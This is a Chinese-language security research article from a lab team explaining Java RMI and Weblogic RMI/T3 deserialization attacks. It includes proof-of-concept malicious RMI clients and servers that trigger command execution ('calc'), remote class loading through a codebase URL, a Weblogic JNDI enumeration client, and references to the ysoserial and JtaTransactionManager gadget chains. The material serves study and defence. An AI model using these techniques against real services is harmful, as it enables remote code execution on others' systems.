作者:Longofo@知道創宇404實驗室
時間:2019年11月4日
之前看了SHIRO-721這個漏洞,然后這個漏洞和SHIRO-550有些關聯,在SHIRO-550的利用方式中又看到了利用ysoserial中的JRMP exploit,然后又想起了RMI、JNDI、LDAP、JMX、JMS這些詞。這些東西也看到了幾次,也看過對應的文章,但把他們聯想在一起時這些概念又好像交叉了一樣容易混淆。網上的一些資料也比較零散與混亂,所以即使以前看過,沒有放在一起看的話很容易混淆。下面是對RMI、JNDI、LDAP、JRMP、JMX、JMS一些資料的整理。
注:這篇先寫了RMI、JNDI、LDAP的內容,JRMP、JMX、JMS下篇再繼續。文章很長,閱讀需要些耐心。
測試環境說明
-
文中的測試代碼放到了github上
-
測試代碼的JDK版本在文中會具體說明,有的代碼會被重復使用,對應的JDK版本需要自己切換
RMI
在看下以下內容之前,可以閱讀下這篇文章[1],里面包括了Java RMI相關的介紹,包括對Java RMI的簡介、遠程對象與非遠程對象的區別、Stubs與skeletons、遠程接口、UnicastRemoteObject類、RMI注冊表、RMI動態加載等內容。
Java RMI
遠程方法調用是分布式編程中的一個基本思想。實現遠程方法調用的技術有很多,例如CORBA、WebService,這兩種是獨立于編程語言的。而Java RMI是專為Java環境設計的遠程方法調用機制,遠程服務器實現具體的Java方法并提供接口,客戶端本地僅需根據接口類的定義,提供相應的參數即可調用遠程方法并獲取執行結果,使分布在不同的JVM中的對象的外表和行為都像本地對象一樣。
在這篇文章[2]中,作者舉了一個例子來描述RMI:
假設A公司是某個行業的翹楚,開發了一系列行業上領先的軟件。B公司想利用A公司的行業優勢進行一些數據上的交換和處理。但A公司不可能把其全部軟件都部署到B公司,也不能給B公司全部數據的訪問權限。于是A公司在現有的軟件結構體系不變的前提下開發了一些RMI方法。B公司調用A公司的RMI方法來實現對A公司數據的訪問和操作,而所有數據和權限都在A公司的控制范圍內,不用擔心B公司竊取其數據或者商業機密。
對于開發者來說,遠程方法調用就像我們本地調用一個對象的方法一樣,他們很多時候不需要關心內部如何實現,只關心傳遞相應的參數并獲取結果就行了。但是對于攻擊者來說,要執行攻擊還是需要了解一些細節的。
注:這里我在RMI前面加上了Java是為了和Weblogic RMI區分。Java本身對RMI規范的實現默認使用的是JRMP協議,而Weblogic對RMI規范的實現使用T3協議,Weblogic之所以開發T3協議,是因為他們需要可擴展,高效的協議來使用Java構建企業級的分布式對象系統。
JRMP:Java Remote Message Protocol ,Java 遠程消息交換協議。這是運行在Java RMI之下、TCP/IP之上的線路層協議。該協議要求服務端與客戶端都為Java編寫,就像HTTP協議一樣,規定了客戶端和服務端通信要滿足的規范。
Java RMI遠程方法調用過程
幾個tips:
- RMI的傳輸是基于反序列化的。
- 對于任何一個以對象為參數的RMI接口,你都可以發一個自己構建的對象,迫使服務器端將這個對象按任何一個存在于服務端classpath(不在classpath的情況,可以看后面RMI動態加載類相關部分)中的可序列化類來反序列化恢復對象。
使用遠程方法調用,會涉及參數的傳遞和執行結果的返回。參數或者返回值可以是基本數據類型,當然也有可能是對象的引用。所以這些需要被傳輸的對象必須可以被序列化,這要求相應的類必須實現 java.io.Serializable 接口,并且客戶端的serialVersionUID字段要與服務器端保持一致。
在JVM之間通信時,RMI對遠程對象和非遠程對象的處理方式是不一樣的,它并沒有直接把遠程對象復制一份傳遞給客戶端,而是傳遞了一個遠程對象的Stub,Stub基本上相當于是遠程對象的引用或者代理(Java RMI使用到了代理模式)。Stub對開發者是透明的,客戶端可以像調用本地方法一樣直接通過它來調用遠程方法。Stub中包含了遠程對象的定位信息,如Socket端口、服務端主機地址等等,并實現了遠程調用過程中具體的底層網絡通信細節,所以RMI遠程調用邏輯是這樣的:

從邏輯上來說,數據是在Client和Server之間橫向流動的,但是實際上是從Client到Stub,然后從Skeleton到Server這樣縱向流動的:
- Server端監聽一個端口,這個端口是JVM隨機選擇的;
- Client端并不知道Server遠程對象的通信地址和端口,但是Stub中包含了這些信息,并封裝了底層網絡操作;
- Client端可以調用Stub上的方法;
- Stub連接到Server端監聽的通信端口并提交參數;
- 遠程Server端上執行具體的方法,并返回結果給Stub;
- Stub返回執行結果給Client端,從Client看來就好像是Stub在本地執行了這個方法一樣;
怎么獲取Stub呢?
假設Stub可以通過調用某個遠程服務上的方法向遠程服務來獲取,但是調用遠程方法又必須先有遠程對象的Stub,所以這里有個死循環問題。JDK提供了一個RMI注冊表(RMIRegistry)來解決這個問題。RMIRegistry也是一個遠程對象,默認監聽在傳說中的1099端口上,可以使用代碼啟動RMIRegistry,也可以使用rmiregistry命令。
使用RMI Registry之后,RMI的調用關系應該是這樣的:

所以從客戶端角度看,服務端應用是有兩個端口的,一個是RMI Registry端口(默認為1099),另一個是遠程對象的通信端口(隨機分配的),通常我們只需要知道Registry的端口就行了,Server的端口包含在了Stub中。RMI Registry可以和Server端在一臺服務器上,也可以在另一臺服務器上,不過大多數時候在同一臺服務器上且運行在同一JVM環境下。
模擬Java RMI利用
我們使用下面的例子來模擬Java RMI的調用過程并執行攻擊:
1.創建服務端對象類,先創建一個接口繼承java.rmi.Remote
//Services.java
package com.longofo.javarmi;
import java.rmi.RemoteException;
public interface Services extends java.rmi.Remote {
String sendMessage(Message msg) throws RemoteException;
}
2.創建服務端對象類,實現這個接口
//ServicesImpl.java
package com.longofo.javarmi;
import java.rmi.RemoteException;
public class ServicesImpl implements Services {
public ServicesImpl() throws RemoteException {
}
@Override
public String sendMessage(Message msg) throws RemoteException {
return msg.getMessage();
}
}
3.創建服務端遠程對象骨架skeleton并綁定在Registry上
//RMIServer.java
package com.longofo.javarmi;
import java.rmi.RMISecurityManager;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer {
/**
* Java RMI 服務端
*
* @param args
*/
public static void main(String[] args) {
try {
// 實例化服務端遠程對象
ServicesImpl obj = new ServicesImpl();
// 沒有繼承UnicastRemoteObject時需要使用靜態方法exportObject處理
Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
Registry reg;
try {
//如果需要使用RMI的動態加載功能,需要開啟RMISecurityManager,并配置policy以允許從遠程加載類庫
System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);
// 創建Registry
reg = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
} catch (Exception e) {
System.out.println("Using existing registry");
reg = LocateRegistry.getRegistry();
}
//綁定遠程對象到Registry
reg.rebind("Services", services);
} catch (RemoteException e) {
e.printStackTrace();
}
}
}
4.創建惡意客戶端
package com.longofo.javarmi;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
/**
* Java RMI惡意利用demo
*
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry();
// 獲取遠程對象的引用
Services services = (Services) registry.lookup("rmi://127.0.0.1:9999/Services");
PublicKnown malicious = new PublicKnown();
malicious.setParam("calc");
malicious.setMessage("haha");
// 使用遠程對象的引用調用對應的方法
System.out.println(services.sendMessage(malicious));
}
}
上面這個例子是在CVE-2017-3241分析[3]中提供代碼基礎上做了一些修改,完整的測試代碼已經放到github上了,先啟動RMI Server端java-rmi-server/src/main/java/com/longofo/javarmi/RMIServer,在啟動RMI客戶端java-rmi-client/src/main/java/com/longofo/javarmi/RMIClient就可以復現,在JDK 1.6.0_29測試通過。
在ysoserial中的RMIRegistryExploit提供另一種思路,利用其他客戶端也能向服務端的Registry注冊遠程對象的功能,由于對象綁定時也傳遞了序列化的數據,在Registry端(通常和服務端在同一服務器且處于同一JVM下)會對數據進行反序列化處理,RMIRegistryExploit中使用的CommonsCollections1這個payload,如果Registry端也存在CommonsCollections1這個payload使用到的類就能惡意利用。對于一些CommonsCollections1利用不了的情況,例如CommonsCollections1中相關利用類被過濾攔截了,也還有其他例如結合JRMP方式進行利用的方法,可以參考下這位作者的思路。
這里還需要注意這時Server端是作為RMI的服務端而成為受害者,在后面的RMI動態類加載或JNDI注入中可以看到Server端也可以作為RMI客戶端成為受害者。
上面的代碼假設RMIServer就是提供Java RMI遠程方法調用服務的廠商,他提供了一個Services接口供遠程調用;
在客戶端中,正常調用應該是stub.sendMessage(Message),這個參數應該是Message類對象的,但是我們知道服務端存在一個公共的已知PublicKnown類(比如經典的Apache Common Collection,這里只是用PublicKnown做一個類比),它有readObject方法并且在readObject中存在命令執行的能力,所以我們客戶端可以寫一個與服務端包名,類名相同的類并繼承Message類(Message類在客戶端服務端都有的),根據上面兩個Tips,在服務端會反序列化傳遞的數據,然后到達PublicKnown執行命令的地方(這里需要注意的是服務端PublicKnown類的serialVersionUID與客戶端的PublicKnown需要保持一致,如果不寫在序列化時JVM會自動根據類的屬性等生成一個UID,不過有時候自動生成的可能會不一致,不過不一致時,Java RMI服務端會返回錯誤,提示服務端相應類的serialVersionUID,在本地類重新加上服務端的serialVersionUID就行了):


上面這個錯誤也是從服務端發送過來的,不過不要緊,命令在出現錯誤之前就執行了。
來看下調用棧,我們在服務端的PublicKnown類中readObject下個斷點,

從sun.rmi.server.UnicastRef開始調用了readObject,然后一直到調用PublicKnown類的readObject
抓包看下通信的數據:

可以看到PublicKnown類對象確實被序列化傳遞了,通信過程全程都有被序列化的數據,那么在服務端也肯定會會進行反序列化恢復對象,可以自己抓包看下。
Java RMI的動態加載類
java.rmi.server.codebase:java.rmi.server.codebase屬性值表示一個或多個URL位置,可以從中下載本地找不到的類,相當于一個代碼庫。代碼庫定義為將類加載到虛擬機的源或場所,可以將CLASSPATH視為“本地代碼庫”,因為它是磁盤上加載本地類的位置的列表。就像CLASSPATH"本地代碼庫"一樣,小程序和遠程對象使用的代碼庫可以被視為"遠程代碼庫"。
RMI核心特點之一就是動態類加載,如果當前JVM中沒有某個類的定義,它可以從遠程URL去下載這個類的class,動態加載的class文件可以使用http://、ftp://、file://進行托管。這可以動態的擴展遠程應用的功能,RMI注冊表上可以動態的加載綁定多個RMI應用。對于客戶端而言,如果服務端方法的返回值可能是一些子類的對象實例,而客戶端并沒有這些子類的class文件,如果需要客戶端正確調用這些子類中被重寫的方法,客戶端就需要從服務端提供的java.rmi.server.codebaseURL去加載類;對于服務端而言,如果客戶端傳遞的方法參數是遠程對象接口方法參數類型的子類,那么服務端需要從客戶端提供的java.rmi.server.codebaseURL去加載對應的類。客戶端與服務端兩邊的java.rmi.server.codebaseURL都是互相傳遞的。無論是客戶端還是服務端要遠程加載類,都需要滿足以下條件:
- 由于Java SecurityManager的限制,默認是不允許遠程加載的,如果需要進行遠程加載類,需要安裝RMISecurityManager并且配置java.security.policy,這在后面的利用中可以看到。
- 屬性 java.rmi.server.useCodebaseOnly 的值必需為false。但是從JDK 6u45、7u21開始,java.rmi.server.useCodebaseOnly 的默認值就是true。當該值為true時,將禁用自動加載遠程類文件,僅從CLASSPATH和當前虛擬機的java.rmi.server.codebase 指定路徑加載類文件。使用這個屬性來防止虛擬機從其他Codebase地址上動態加載類,增加了RMI ClassLoader的安全性。
注:在JNDI注入的利用方法中也借助了這種動態加載類的思路。
遠程方法返回對象為遠程接口方法返回對象的子類(目標Server端為RMI客戶端時的惡意利用)
遠程對象象接口(這個接口一般都是公開的):
//Services.java
package com.longofo.javarmi;
import java.rmi.RemoteException;
public interface Services extends java.rmi.Remote {
Object sendMessage(Message msg) throws RemoteException;
}
惡意的遠程對象類的實現:
package com.longofo.javarmi;
import com.longofo.remoteclass.ExportObject;
import java.rmi.RemoteException;
public class ServicesImpl1 implements Services {
@Override
//這里在服務端將返回值設置為了遠程對象接口Object的子類,這個ExportObject在客戶端是不存在的
public ExportObject sendMessage(Message msg) throws RemoteException {
return new ExportObject();
}
}
惡意的RMI服務端:
package com.longofo.javarmi;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer1 {
public static void main(String[] args) {
try {
// 實例化服務端遠程對象
ServicesImpl1 obj = new ServicesImpl1();
// 沒有繼承UnicastRemoteObject時需要使用靜態方法exportObject處理
Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
//設置java.rmi.server.codebase
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
Registry reg;
try {
// 創建Registry
reg = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
} catch (Exception e) {
System.out.println("Using existing registry");
reg = LocateRegistry.getRegistry();
}
//綁定遠程對象到Registry
reg.bind("Services", services);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
RMI客戶端:
//RMIClient1.java
package com.longofo.javarmi;
import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient1 {
/**
* Java RMI惡意利用demo
*
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
//如果需要使用RMI的動態加載功能,需要開啟RMISecurityManager,并配置policy以允許從遠程加載類庫
System.setProperty("java.security.policy", RMIClient1.class.getClassLoader().getResource("java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
// 獲取遠程對象的引用
Services services = (Services) registry.lookup("Services");
Message message = new Message();
message.setMessage("hahaha");
services.sendMessage(message);
}
}
這樣就模擬出了一種攻擊場景,這時受害者是作為RMI客戶端的,需要滿足以下條件才能利用:
- 可以控制客戶端去連接我們的惡意服務端
- 客戶端允許遠程加載類
- 還有上面的說的JDK版本限制
可以看到利用條件很苛刻,如果真的滿足了以上條件,那么就可以模擬一個惡意的RMI服務端進行攻擊。完整代碼在github上,先啟動remote-class/src/main/java/com/longofo/remoteclass/HttpServer,接著啟動java-rmi-server/src/main/java/com/longofo/javarmi/RMIServer1.java,再啟動java-rmi-client/src/main/java/com/longofo/javarmi/RMIClient1.java即可復現,在JDK 1.6.0_29測試通過。
遠程方法參數對象為遠程接口方法參數對象的子類(目標Server端需要為RMI Server端才能利用)
剛開始講Java RMI的時候,我們模擬了一種攻擊,那種情況和這種情況是類似的,上面那種情況是利用加載本地類,而這里的是加載遠程類。
RMI服務端:
//RMIServer.java
package com.longofo.javarmi;
import java.rmi.AlreadyBoundException;
import java.rmi.RMISecurityManager;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class RMIServer2 {
/**
* Java RMI 服務端
*
* @param args
*/
public static void main(String[] args) {
try {
// 實例化服務端遠程對象
ServicesImpl obj = new ServicesImpl();
// 沒有繼承UnicastRemoteObject時需要使用靜態方法exportObject處理
Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
Registry reg;
try {
//如果需要使用RMI的動態加載功能,需要開啟RMISecurityManager,并配置policy以允許從遠程加載類庫
System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);
// 創建Registry
reg = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
} catch (Exception e) {
System.out.println("Using existing registry");
reg = LocateRegistry.getRegistry();
}
//綁定遠程對象到Registry
reg.bind("Services", services);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
遠程對象接口:
package com.longofo.javarmi;
import java.rmi.RemoteException;
public interface Services extends java.rmi.Remote {
Object sendMessage(Message msg) throws RemoteException;
}
惡意遠程方法參數對象子類:
package com.longofo.remoteclass;
import com.longofo.javarmi.Message;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.Serializable;
import java.util.Hashtable;
public class ExportObject1 extends Message implements ObjectFactory, Serializable {
private static final long serialVersionUID = 4474289574195395731L;
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
惡意RMI客戶端:
package com.longofo.javarmi;
import com.longofo.remoteclass.ExportObject1;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient2 {
public static void main(String[] args) throws Exception {
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
Registry registry = LocateRegistry.getRegistry();
// 獲取遠程對象的引用
Services services = (Services) registry.lookup("rmi://127.0.0.1:9999/Services");
ExportObject1 exportObject1 = new ExportObject1();
exportObject1.setMessage("hahaha");
services.sendMessage(exportObject1);
}
}
這樣就模擬出了另一種攻擊場景,這時受害者是作為RMI服務端,需要滿足以下條件才能利用:
- RMI服務端允許遠程加載類
- 還有JDK限制
利用條件也很苛刻,如果真的滿足了以上條件,那么就可以模擬一個惡意的RMI客戶端進行攻擊。完整代碼在github上,先啟動remote-class/src/main/java/com/longofo/remoteclass/HttpServer,接著啟動java-rmi-server/src/main/java/com/longofo/javarmi/RMIServer2.java,再啟動java-rmi-client/src/main/java/com/longofo/javarmi/RMIClient2.java即可復現,在JDK 1.6.0_29測試通過。
Weblogic RMI
Weblogic RMI與Java RMI的區別
為什么要把Weblogic RMI寫這里呢?因為通過Weblogic RMI作為反序列化入口導致的漏洞很多,常常聽見的通過Weblogic T3協議進行反序列化...一開始也沒去了詳細了解過Weblogic RMI和Weblogic T3協議有什么關系,也是直接拿著python weblogic那個T3腳本直接打。然后搜索的資料大多也都是講的上面的Java RMI,用的JRMP協議傳輸,沒有區分過Java RMI和Weblogic RMI有什么區別,T3和JRMP又是是什么,很容易讓人迷惑。
從這篇文中[5]我們可以了解到,WebLogic RMI是服務器框架的組成部分。它使Java客戶端可以透明地訪問WebLogic Server上的RMI對象,這包括訪問任何已部署到WebLogic的EJB組件和其他J2EE資源,它可以構建快速、可靠、符合標準的RMI應用程序。當RMI對象部署到WebLogic群集時,它還集成了對負載平衡和故障轉移的支持。WebLogic RMI與Java RMI規范完全兼容,上面提到的動態加載加載功能也是具有的,同時還提供了在標準Java RMI實現下更多的功能與擴展。下面簡要概述了使用WebLogic版本的RMI的一些其他好處:
1.性能和可擴展性
WebLogic包含了高度優化的RMI實現。它處理與RMI支持有關的所有實現問題:管理線程和套接字、垃圾回收和序列化。標準RMI依賴于客戶端與服務器之間以及客戶端與RMI注冊表之間的單獨套接字連接。WebLogic RMI將所有這些網絡流量多路復用到客戶端和服務器之間的單個套接字連接上(這里指的就是T3協議吧)。相同的套接字連接也可重用于其他類型的J2EE交互,例如JDBC請求和JMS連接。通過最小化客戶端和WebLogic之間的網絡連接,RMI實現可以在負載下很好地擴展,并同時支持大量RMI客戶端,它還依賴于高性能的序列化邏輯。
此外,當客戶端在與RMI對象相同的VM中運行時,WebLogic會自動優化客戶端與服務器之間的交互。它確保您不會因調用遠程方法期間對參數進行編組或取消編組而導致任何性能損失。相反,當客戶端和服務器對象并置時,并且在類加載器層次結構允許時,WebLogic使用Java的按引用傳遞語義。
2.客戶端之間的溝通
WebLogic的RMI提供了客戶端和服務器之間的異步雙向套接字連接。 RMI客戶端可以調用由服務器端提供的RMI對象以及通過WebLogic的RMI Registry注冊了遠程接口的其他客戶端的RMI對象公開的方法。因此,客戶端應用程序可以通過服務器注冊表發布RMI對象,而其他客戶端或服務器可以使用這些客戶端駐留的對象,就像它們將使用任何服務器駐留的對象一樣。這樣,您可以創建涉及RMI客戶端之間對等雙向通信的應用程序。
3.RMI注冊中心
只要啟動WebLogic,RMI注冊表就會自動運行。WebLogic會忽略創建RMI注冊表的多個實例的嘗試,僅返回對現有注冊表的引用。
WebLogic的RMI注冊表與JNDI框架完全集成。可以使用JNDI或RMI注冊表(可以看到上面Java RMI我使用了Registry,后面Weblogic RMI中我使用的是JNDI方式,兩種方式對RMI服務都是可以的)來綁定或查找服務器端RMI對象。實際上,RMI注冊中心只是WebLogic的JNDI樹之上的一小部分。我們建議您直接使用JNDI API來注冊和命名RMI對象,而完全繞過對RMI注冊表的調用。JNDI提供了通過其他企業命名和目錄服務(例如LDAP)發布RMI對象的前景。
4.隧道式
RMI客戶端可以使用基于多種方案的URL:標準 rmi://方案,或分別通過HTTP和IIOP隧道傳輸RMI請求的 http://和iiop://方案。這使來自客戶端的RMI調用可以穿透大多數防火墻。
5.動態生成存根和骨架
WebLogic支持動態生成客戶端存根和服務器端框架,從而無需為RMI對象生成客戶端存根和服務器端框架。將對象部署到RMI注冊表或JNDI時,WebLogic將自動生成必要的存根和框架。唯一需要顯式創建存根的時間是可集群客戶端或IIOP客戶端需要訪問服務器端RMI對象時。
T3傳輸協議是WebLogic的自有協議,Weblogic RMI就是通過T3協議傳輸的(可以理解為序列化的數據載體是T3),它有如下特點:
- 服務端可以持續追蹤監控客戶端是否存活(心跳機制),通常心跳的間隔為60秒,服務端在超過240秒未收到心跳即判定與客戶端的連接丟失。
- 通過建立一次連接可以將全部數據包傳輸完成,優化了數據包大小和網絡消耗。
Weblogic T3協議和http以及其他幾個協議的端口是共用的:

Weblogic會檢測請求為哪種協議,然后路由到正確的位置。
查看Weblogic默認注冊的遠程對象
Weblogic服務已經注冊了一些遠程對象,寫一個測試下(參考了這篇文章[5]中的部分代碼,代碼放到github了,運行weblogic-rmi-client/src/main/java/com/longofo/weblogicrmi/Client即可,注意修改其中IP和Port),在JDK 1.6.0_29測試通過:
//Client.java
package com.longofo.weblogicrmi;
import com.alibaba.fastjson.JSON;
import weblogic.rmi.extensions.server.RemoteWrapper;
import javax.naming.*;
import java.io.IOException;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class Client {
/**
* 列出Weblogic有哪些可以遠程調用的對象
*/
public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException {
//Weblogic RMI和Web服務共用7001端口
//可直接傳入t3://或者rmi://或者ldap://等,JNDI會自動根據協議創建上下文環境
InitialContext initialContext = getInitialContext("t3://192.168.192.135:7001");
System.out.println(JSON.toJSONString(listAllEntries(initialContext), true));
//嘗試調用ejb上綁定的對象的方法getRemoteDelegate
//weblogic.jndi.internal.WLContextImpl類繼承的遠程接口為RemoteWrapper,可以自己在jar包中看下,我們客戶端只需要寫一個包名和類名與服務器上的一樣即可
RemoteWrapper remoteWrapper = (RemoteWrapper) initialContext.lookup("ejb");
System.out.println(remoteWrapper.getRemoteDelegate());
}
private static Map listAllEntries(Context initialContext) throws NamingException {
String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : "";
HashMap<String, Object> map = new HashMap<String, Object>();
System.out.println("> Listing namespace: " + namespace);
NamingEnumeration<NameClassPair> list = initialContext.list(namespace);
while (list.hasMoreElements()) {
NameClassPair next = list.next();
String name = next.getName();
String jndiPath = namespace + name;
HashMap<String, Object> lookup = new HashMap<String, Object>();
try {
System.out.println("> Looking up name: " + jndiPath);
Object tmp = initialContext.lookup(jndiPath);
if (tmp instanceof Context) {
lookup.put("class", tmp.getClass());
lookup.put("interfaces", tmp.getClass().getInterfaces());
Map<String, Object> entries = listAllEntries((Context) tmp);
for (Map.Entry<String, Object> entry : entries.entrySet()) {
String key = entry.getKey();
if (key != null) {
lookup.put(key, entries.get(key));
break;
}
}
} else {
lookup.put("class", tmp.getClass());
lookup.put("interfaces", tmp.getClass().getInterfaces());
}
} catch (Throwable t) {
lookup.put("error msg", t.getMessage());
Object tmp = initialContext.lookup(jndiPath);
lookup.put("class", tmp.getClass());
lookup.put("interfaces", tmp.getClass().getInterfaces());
}
map.put(name, lookup);
}
return map;
}
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
結果如下:
> Listing namespace:
> Looking up name: weblogic
> Listing namespace:
> Looking up name: HelloServer
> Looking up name: ejb
> Listing namespace:
> Looking up name: mgmt
> Listing namespace:
> Looking up name: MEJB
> Looking up name: javax
> Listing namespace:
> Looking up name: mejbmejb_jarMejb_EO
{
"ejb":{
"mgmt":{
"MEJB":{
"interfaces":["weblogic.rmi.internal.StubInfoIntf","javax.ejb.EJBHome","weblogic.ejb20.interfaces.RemoteHome"],
"class":"weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl_1036_WLStub"
},
"interfaces":["weblogic.jndi.internal.WLInternalContext","weblogic.rmi.extensions.server.RemoteWrapper","java.io.Externalizable"],
"class":"weblogic.jndi.internal.WLContextImpl"
},
"interfaces":["weblogic.jndi.internal.WLInternalContext","weblogic.rmi.extensions.server.RemoteWrapper","java.io.Externalizable"],
"class":"weblogic.jndi.internal.WLContextImpl"
},
"javax":{
"error msg":"User <anonymous> does not have permission on javax to perform list operation.",
"interfaces":["weblogic.jndi.internal.WLInternalContext","weblogic.rmi.extensions.server.RemoteWrapper","java.io.Externalizable"],
"class":"weblogic.jndi.internal.WLContextImpl"
},
"mejbmejb_jarMejb_EO":{
"interfaces":["weblogic.rmi.internal.StubInfoIntf","javax.ejb.EJBObject"],
"class":"weblogic.management.j2ee.mejb.Mejb_dj5nps_EOImpl_1036_WLStub"
},
"HelloServer":{
"interfaces":["weblogic.rmi.internal.StubInfoIntf","com.longofo.weblogicrmi.IHello"],
"class":"com.longofo.weblogicrmi.HelloImpl_1036_WLStub"
},
"weblogic":{
"error msg":"User <anonymous> does not have permission on weblogic to perform list operation.",
"interfaces":["weblogic.jndi.internal.WLInternalContext","weblogic.rmi.extensions.server.RemoteWrapper","java.io.Externalizable"],
"class":"weblogic.jndi.internal.WLContextImpl"
}
}
ClusterableRemoteRef(-657761404297506818S:192.168.192.135:[7001,7001,-1,-1,-1,-1,-1]:base_domain:AdminServer NamingNodeReplicaHandler (for ejb))/292
在Weblogic控制臺,我們可以通過JNDI樹看到上面這些遠程對象:

注:下面這一段可能省略了一些過程,我也不知道具體該怎么描述,所以會不知道我說的啥,可以跳過,只是一個失敗的測試
在客戶端的RemoteWrapper中,我還寫了一個readExternal接口方法,遠程對象的RemoteWrapper接口類是沒有這個方法的。但是weblogic.jndi.internal.WLContextImpl這個實現類中有,那么如果在本地接口類中加上readExternal方法去調用會怎么樣呢?由于過程有點繁雜,很多坑,做了很多代碼替換與測試,我也不知道該怎么具體描述,只簡單說下:
1.直接用T3腳本測試
使用JtaTransactionManager這條利用鏈,用T3協議攻擊方式在未打補丁的Weblogic測試成功,打上補丁的Weblogic測試失敗,在打了補丁的Weblogic上JtaTransactionManager的父類AbstractPlatformTransactionManager在黑名單中,Weblogic黑名單在weblogic.utils.io.oif.WebLogicFilterConfig中。
2.那么根據前面Java RMI那種惡意利用方式能行嗎,兩者只是傳輸協議不一樣,利用過程應該是類似的,試下正常調用readExternal方式去利用行不行?
這個測試過程實在不知道該怎么描述,測試結果也失敗了,如果調用的方法在遠程對象的接口上也有,例如上面代碼中的remoteWrapper.getRemoteDelegate(),經過抓包搜索"getRemoteDelegate"發現了有bind關鍵字,調用結果也是在服務端執行的。但是如果調用了遠程接口不存在的方法,比如remoteWrapper.readExternal(),在流量中會看到"readExternal"有unbind關鍵字,這時就不是服務端去處理結果了,而是在本地對應類的方法進行調用(比如你本地存在weblogic.jndi.internal.WLContextImpl類,會調用這個類的readExternal方法去處理),如果本地沒有相應的類就會報錯。當時我是用的JtaTransactionManager這條利用鏈,我本地也有這個類...所以我在我本地看到了計算器彈出來了,要不是使用的虛擬機上的Weblogic進行測試,我自己都信了,自己造了個洞。(說明:readExternal的參數ObjectOutput類也是不可序列化的,當時自己也沒想那么多...后面在Weblogic上部署了一個遠程對象,參數我設置的是ObjectInputStream類,調用時才發現不可序列化錯誤,雖然之前也說過RMI傳輸是基于序列化的,那么傳輸的對象必須可序列化,但是寫著就忘記了)
想想自己真的很天真,要是遠程對象的接口沒有提供的方法都能被你調用了,那不成了RMI本身的漏洞嗎。并且這個過程和直接用T3腳本是類似的,都會經過Weblogic的ObjectInputFilter過濾黑名單中的類,就算能成功調用readExternal,JtaTransactionManager這條利用鏈也會被攔截到。
上面說到的Weblogic部署的遠程對象的例子根據這篇文章[2]做了一些修改,代碼在github上了,將weblogic-rmi-server/src/main/java/com/longofo/weblogicrmi/HelloImpl打包為Jar包部署到Weblogic,然后運行weblogic-rmi-client/src/main/java/com/longofo/weblogicrmi/Client1即可,注意修改其中的IP和Port,在JDK 1.6.0_29測試通過。
正常Weblogic RMI調用與模擬T3協議進行惡意利用
之前都是模擬T3協議的方式進行惡意利用,來看下不使用T3腳本攻擊的方式(找一個遠程對象的有參數的方法,我使用的是weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl_1036_WLStub#remove(Object obj)方法),它對應的命名為ejb/mgmt/MEJB,其中一個遠程接口為javax.ejb.EJBHome,測試代碼放到github上了,先使用ldap/src/main/java/LDAPRefServer啟動一個ldap服務,然后運行weblogic-rmi-client/src/main/java/com/longofo/weblogicrmi/Payload1即可復現,注意修改Ip和Port。
在沒有過濾AbstractPlatformTransactionManager類的版本上,使用JtaTransactionManager這條利用鏈測試,

在過濾了AbstractPlatformTransactionManager類的版本上使用JtaTransactionManager這條利用鏈測試,

可以看到通過正常的調用RMI方式也能觸發,不過相比直接用T3替換傳輸過程中的反序列化數據,這種方式利用起來就復雜一些了,關于T3模擬的過程,可以看下這篇文章[2]。Java RMI默認使用的JRMP傳輸,那么JRMP也應該和T3協議一樣可以模擬來簡化利用過程吧。
小結
從上面我們可以了解到以下幾點:
- RMI標準實現是Java RMI,其他實現還有Weblogic RMI、Spring RMI等。
- RMI的調用是基于序列化的,一個對象遠程傳輸需要序列化,需要使用到這個對象就需要從序列化的數據中恢復這個對象,恢復這個對象時對應的readObject、readExternal等方法會被自動調用。
